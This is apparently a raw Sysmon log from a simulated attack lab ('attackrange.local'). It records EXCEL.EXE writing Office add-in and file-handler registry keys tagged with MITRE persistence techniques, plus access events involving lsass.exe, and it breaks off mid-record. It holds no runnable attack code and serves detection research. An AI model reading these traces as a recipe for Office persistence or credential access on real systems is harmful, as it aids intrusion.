23542300x800000000000000014410Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:33.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=73A2799626ADA9F7B31A9F1DB713FA3C,SHA256=BCE79AE8214F5EB1E0DB9D8AB45F0BFFD19568CA4D67DF2BAEDF074D0D862680,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014409Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:33.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=0C0CBDAC28F600AF7AD4166844702D0F,SHA256=CA553D2447821BDD4ACD764C32F9BD4F2DB1546DA4E7CD290358FA876DE00330,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.885{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.885{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.838{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.838{7BD73061-65B0-613B-0B00-00000000F001}6205772C:\Windows\system32\lsass.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.838{7BD73061-65B0-613B-0B00-00000000F001}6205772C:\Windows\system32\lsass.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.838{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000046464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\CommandLineSafeDWORD (0x00000000) 13241300x800000000000000046463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\CommandLineSafeDWORD (0x00000000) 13241300x800000000000000046462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\DescriptionThe Add-in allows Microsoft Access to integrate with and enable automated scenarios around Data Collection and Publishing around user created Access solutions 13241300x800000000000000046461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\DescriptionThe Add-in allows Microsoft Access to integrate with and enable automated scenarios around Data Collection and Publishing around user created Access solutions 13241300x800000000000000046460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\FriendlyNameMicrosoft Access Outlook Add-in for Data Collection and Publishing 13241300x800000000000000046459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\FriendlyNameMicrosoft Access Outlook Add-in for Data Collection and Publishing 13241300x800000000000000046458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\LoadBehaviorDWORD (0x00000002) 13241300x800000000000000046457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.760{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\AccessAddin.DC\LoadBehaviorDWORD (0x00000002) 13241300x800000000000000046456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.744{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesService\FriendlyNameOneNote Notes about Word Documents 13241300x800000000000000046455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.744{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Word\Addins\OneNote.WordAddinTakeNotesService\FriendlyNameOneNote Notes about Word Documents 13241300x800000000000000046454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.744{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesService\FriendlyNameOneNote Notes about PowerPoint Presentations 13241300x800000000000000046453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.744{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\PowerPoint\Addins\OneNote.PowerPointAddinTakeNotesService\FriendlyNameOneNote Notes about PowerPoint Presentations 13241300x800000000000000046452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:47:33.744{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButtonYes 13241300x800000000000000046451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButtonYes 13241300x800000000000000046450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\CommandLineSafeDWORD (0x00000000) 13241300x800000000000000046449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\DescriptionThe Add-in allows Microsoft SharePoint Server to import colleague suggestions based on your Outlook content 13241300x800000000000000046448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\FriendlyNameMicrosoft SharePoint Server Colleague Import Add-in 13241300x800000000000000046447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\LoadBehaviorDWORD (0x00000003) 13241300x800000000000000046446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\CommandLineSafeDWORD (0x00000000) 13241300x800000000000000046445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\DescriptionThe Add-in allows Microsoft SharePoint Server to import colleague suggestions based on your Outlook content 13241300x800000000000000046444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\FriendlyNameMicrosoft SharePoint Server Colleague Import Add-in 13241300x800000000000000046443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1137SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Outlook\Addins\ColleagueImport.ColleagueImportAddin\LoadBehaviorDWORD (0x00000003) 13241300x800000000000000046442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\ocsmeet_auto_file\shell\open\command\(Default)"C:\Program Files\Microsoft Office\root\Office16\lync.exe" "%%1" 13241300x800000000000000046441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:47:33.729{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\ocsmeet_auto_file\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\root\Office16\lync.exe" "%%1" 13241300x800000000000000046440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\ocsmeet_auto_file\shell\open\command\(Default)"C:\Program Files\Microsoft Office\root\Office16\lync.exe" "%%1" 13241300x800000000000000046439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:47:33.729{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\ocsmeet_auto_file\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\root\Office16\lync.exe" "%%1" 13241300x800000000000000046438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.713{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Excel\Addins\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn.1\FriendlyNameMicrosoft Power View for Excel 13241300x800000000000000046437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.713{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Excel\Addins\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn.1\FriendlyNameMicrosoft Power View for Excel 13241300x800000000000000046436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.713{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Excel\Addins\PowerPivotExcelClientAddIn.NativeEntry.1\FriendlyNameMicrosoft Power Pivot for Excel 13241300x800000000000000046435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:47:33.713{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\Excel\Addins\PowerPivotExcelClientAddIn.NativeEntry.1\FriendlyNameMicrosoft Power Pivot for Excel 10341000x800000000000000046434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.697{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+4e0ca3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+10b1d0c|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3f58bc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+50fb3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7636|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6c86|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6be9|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5af78|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.697{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+4e0c7f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+10b1d0c|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3f58bc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+50fb3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7636|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6c86|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6be9|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5af78|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.697{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+4e0ca3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+10b1d0c|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3f58bc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3aca19|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+51155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7636|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6c86|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6be9|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5af78|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.697{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+4e0c7f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+10b1d0c|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3f58bc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+3aca19|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+51155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7636|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6c86|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f6be9|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5af78|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.682{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 